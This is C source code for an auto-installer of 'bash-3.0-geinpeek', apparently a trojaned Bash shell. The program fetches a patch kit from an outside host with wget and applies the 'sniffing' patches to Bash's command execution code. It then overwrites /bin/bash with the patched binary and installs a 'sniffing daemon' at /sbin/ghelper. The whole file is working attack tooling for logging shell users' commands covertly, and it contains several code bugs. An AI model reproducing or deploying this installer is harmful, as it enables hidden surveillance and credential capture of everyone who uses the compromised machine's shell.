This code was written to perform auto-installation of the Bash 3.0 shell sniffer tool.
0db5bc9774ba0b32ffa49115373f366cf35e5d084ff60d03694a15a033162885
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/*
bash-3.0-geinpeek-0.2 auto installer
( install-0.2.c )
compile # gcc install-0.2.c -o install-0.2
execute # ./install-0.2
*/
/* tmp dir for installing */
#define DOWNLOAD_DIR "/root/tmp"
/* ANSI color macro */
#define SET_ANSI(){ printf("\033[0;44;36m"); }
#define UNSET_ANSI(){ printf("\033[0m"); }
/* prototype */
int download_file(char *src_url);
int checking_file(char *bin_file);
int xtract_package(char *src_url);
void select_and_patch();
void compile_geinpeek_bash();
void make_install();
void make_clean();
char needed[5][16]=
{
"/bin/bash",
"/usr/bin/patch",
"/usr/bin/wget",
"/bin/tar",
"\x00",
};
char download_list[3][128]=
{
"http://ftp.gnu.org/pub/gnu/bash/bash-3.0.tar.gz",
"http://www.x90c.org/projects/bash-3.0-geinpeek/bash-3.0-geinpeek-0.2.tar.gz",
"\x00",
};
char needed_patch_list[3][64]=
{
"Makefile.in-geinpeek.diff",
"ghelper.c", /* sniff daemon */
"\x00",
};
char patchkit_list[3][64]=
{
"execute_cmd.c-geinpeek.diff", /* main sniffing patch */
"shell.c-geinpeek.diff",
"\x00",
};
char cong[]=
{
"welcome to BASH-GEINPEEK\n\n"
"quick execuee : # ghelper 90.txt\n"
};
int main()
{
unsigned int i = 0, ret = 0;
system("rm -rf /root/tmp");
if(strcmp(getenv("SHELL"), "/bin/bash") == 0){
fprintf(stderr, "\n\nfailed. to change default shell to csh!\n\n");
return(1);
}
for(i = 0; download_list[i][0] != '\x00'; i++){
if(download_file(download_list[i]) != 0){
ret ++;
fprintf(stderr, "failed source code(tar.gz) download :\n\t=> %s\n", download_list[i]);
}
}
printf("\n");
if(ret != 0)
return(2);
ret = 0;
for(i = 0; needed[i][0] != '\x00'; i++){
if(checking_file(needed[i]) != 0){
ret ++;
fprintf(stderr, "needed utility : %s\n", needed[i]);
} else{
printf("check: %s : found!\n", needed[i]);
}
}
if(ret != 0)
return(3);
printf("\n");
for(i = 0; download_list[i][0] != '\x00'; i++){
if(xtract_package(download_list[i]) != 0){
ret ++;
fprintf(stderr, "failed downloaded file(tar.gz) extract :\n\t=> %s\n", download_list[i]);
} else{
printf("extract: %s : success!\n", download_list[i]);
}
}
if(ret != 0)
return(4);
ret = 0;
printf("\n");
select_and_patch();
printf("\n");
compile_geinpeek_bash();
printf("\n");
make_install();
SET_ANSI();
fprintf(stdout, "%s\n", cong);
UNSET_ANSI();
make_clean();
}
#define OK_MARK "200 OK"
int download_file(char *src_url)
{
char sho[128];
FILE *pfp;
char msg_buf[2048];
unsigned int indx = 0;
sprintf(sho, "%s %s -P %s", needed[2], src_url, DOWNLOAD_DIR);
if((pfp = popen(sho, "r")) == NULL){
fprintf(stderr, "\n\n%s : error\n\n", sho);
goto failed;
}
while(!feof(pfp))
msg_buf[indx++] = fgetc(pfp);
if(strstr(msg_buf, OK_MARK) != NULL){
fprintf(stderr, "\n\n%s : source code file not found\n\n", src_url);
goto failed;
}
success:
pclose(pfp);
return(0);
failed:
pclose(pfp);
make_clean();
}
void make_clean()
{
char sho[128];
sprintf(sho, "rm -rf %s\n", DOWNLOAD_DIR);
system(sho);
printf("cleanup: rm -rf %s\n", DOWNLOAD_DIR);
printf("bye!\n");
exit(1);
}
int checking_file(char *bin_file)
{
return access(bin_file, X_OK);
}
#define ERROR_MARK "Error exit"
int xtract_package(char *src_url)
{
char sho[128];
FILE *pfp;
char msg_buf[65535];
unsigned int indx = 0, indxx = 0;
char *src_file;
/* real filename extract from the URL */
if((src_file = strrchr(src_url, '/')) == NULL){
fprintf(stderr, "\n\n%s : invalid URL\n\n", src_url);
goto failed;
}
sprintf(sho, "%s xzvf %s%s -C %s", needed[3], DOWNLOAD_DIR, src_file, DOWNLOAD_DIR);
if((pfp = popen(sho, "r")) == NULL){
fprintf(stderr, "\n\n%s : error\n\n", sho);
goto failed;
}
while(!feof(pfp))
msg_buf[indx++] = fgetc(pfp);
if(strstr(msg_buf, ERROR_MARK) != NULL){
fprintf(stderr, "\n\n%s : source code file extract error\n\n", src_file);
goto failed;
}
success:
pclose(pfp);
return(0);
failed:
pclose(pfp);
make_clean();
}
void select_and_patch()
{
unsigned int indsx = 0;
char sho[128];
char c;
for(indsx = 0; needed_patch_list[indsx][0] != '\x00'; indsx++){
sprintf(sho, "mv %s/bash-3.0-geinpeek-0.2/%s %s/bash-3.0",
DOWNLOAD_DIR, needed_patch_list[indsx], DOWNLOAD_DIR);
system(sho);
if(strstr(needed_patch_list[indsx], ".diff") != NULL){
printf("needed patch : %s [ applied ]\n", needed_patch_list[indsx]);
sprintf(sho, "cd %s/bash-3.0/; patch -f < %s", DOWNLOAD_DIR, needed_patch_list[indsx]);
system(sho);
}
}
for(indsx = 0; patchkit_list[indsx][0] != '\x00'; indsx++){
sprintf(sho, "mv %s/bash-3.0-geinpeek-0.2/%s %s/bash-3.0",
DOWNLOAD_DIR, patchkit_list[indsx], DOWNLOAD_DIR);
system(sho);
SET_ANSI();
printf("BASH-GEINPEEK : %s apply ? (Y/N) ", patchkit_list[indsx]);
UNSET_ANSI();
c = ' ';
fflush(stdin);
c = fgetc(stdin);
if(c == 'y' || c == 'Y'){
sprintf(sho, "cd %s/bash-3.0/; patch -f < %s", DOWNLOAD_DIR, patchkit_list[indsx]);
system(sho);
}
getchar();
}
}
void compile_geinpeek_bash()
{
char sho[128];
printf("BASH-GEINPEEK : geinpeek bash compile starting..\n\n");
sprintf(sho, "cd %s/bash-3.0/; ./configure; make", DOWNLOAD_DIR);
system(sho);
SET_ANSI();
printf("\n\nBASH-GEINPEEK : geinpeek bash compile success!!\n\n");
UNSET_ANSI();
}
void make_install()
{
char sho[128];
printf("BASH-GEINPEEK : copy compiled binary\n\n");
printf("backup: /bin/bash to /root/bash\n");
system("cp /bin/bash /root/bash");
sprintf(sho, "cd %s/bash-3.0/; mv bash /bin/bash; mv ghelper /sbin/ghelper; chmod 700 /sbin/ghelper");
system(sho);
printf("install: bash(geinpeek patched bash shell) -> /bin/bash\n");
printf("install: ghelper(sniffing daemon) -> /sbin/ghelper\n");
}